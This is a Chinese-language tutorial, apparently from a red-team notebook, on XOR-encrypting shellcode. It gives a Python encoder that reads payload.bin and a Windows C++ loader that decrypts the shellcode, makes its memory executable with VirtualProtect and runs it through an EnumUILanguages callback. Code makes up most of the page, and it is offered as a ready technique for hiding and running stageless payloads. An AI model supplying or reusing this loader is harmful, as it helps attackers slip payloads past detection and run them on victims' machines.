XOR加密

什么是xor加密

XOR加密又称为异或加密,异或加密属于对称加密。在异或加密中,使用一个密钥(通常称为密钥流)与明文数据进行异或操作,生成加密后的密文。解密过程与加密过程相同,将密文与相同的密钥流进行异或操作,即可恢复原始明文数据

代码实现

使用Shellcode_XorEncoder.py对shellcode进行异或加密,随后输出加密后的shellcode

# 定义异或加密函数,接收原始shellcode和密钥作为输入
def xor_encrypt(shellcode, key):
    encrypted_shellcode = bytearray()
    key_len = len(key)

    # 遍历shellcode中的每个字节
    for i in range(len(shellcode)):
        # 将当前字节与密钥中相应字节进行异或操作,然后添加到加密后的shellcode中
        # 这段代码中的i % key_len操作用于确保在对shellcode进行异或加密时,密钥循环使用
        encrypted_shellcode.append(shellcode[i] ^ key[i % key_len])
    return encrypted_shellcode

def main():
    # 填写你的shellcode
    # buf = b""

    #通过bin文件获取shellcode
    with open("payload.bin","rb") as file:
        buf = file.read()

    shellcode = bytearray(buf)

    # 定义密钥
    key = bytearray(b'12henry1222345??6aa+-==@asd')

    # 使用xor_encrypt函数加密shellcode
    encrypted_shellcode = xor_encrypt(shellcode, key)

    # 输出加密后的shellcode
    print("Encrypted shellcode:")
    encrypted_shellcode_string = ""
    for byte in encrypted_shellcode:
        encrypted_shellcode_string += ("\\x%02x"%byte)
    print(encrypted_shellcode_string)

if __name__ == '__main__':
    main()

使用xor加密.cpp解密加密后的shellcode,随后将其加载进内存

#include <Windows.h>
#include<stdio.h>

int main() {
    // 存放xor加密后的shellcode
    char encryptedShellcode[] = "..."; 

    // 定义解密所用的密钥
    char key[] = "12henry1222345??6aa+-==@asd";

    // 定义一个与加密shellcode大小相同的数组用于存储解密后的shellcode
    unsigned char shellcode[sizeof encryptedShellcode];

    // 获取密钥的长度
    int keylength = strlen(key);

    // 遍历加密的shellcode,并使用异或操作进行解密,将结果存储在shellcode数组中
    for (int i = 0; i < sizeof encryptedShellcode; i++) {
        shellcode[i] = encryptedShellcode[i] ^ key[i % keylength];
        printf("\\x%x", shellcode[i]);
    }

    // 获取解密后的shellcode的地址
    char* addrShellcode = (char*)shellcode;

    // 声明一个DWORD变量用于存储旧的内存保护属性
    DWORD dwOldPro = 0;

    // 更改解密后的shellcode所在内存区域的保护属性,允许执行、读、写
    BOOL ifExec = VirtualProtect(addrShellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldPro);

    // 使用EnumUILanguages函数执行解密后的shellcode
    EnumUILanguages((UILANGUAGE_ENUMPROC)addrShellcode, 0, 0);
}

运行测试

若要加密stageless的shellcode, 有两种方法, 首先第一种是通过010editor打开bin文件获取python形式的buf, 随后粘贴到Shellcode_XorEncoder.py

还有一种是直接打开bin文件获取shellcode, 我更加推荐使用这种

运行Shellcode_XorEncoder.py后将控制台输出的加密后的shellcode复制到xor加密.cpp

最后更新于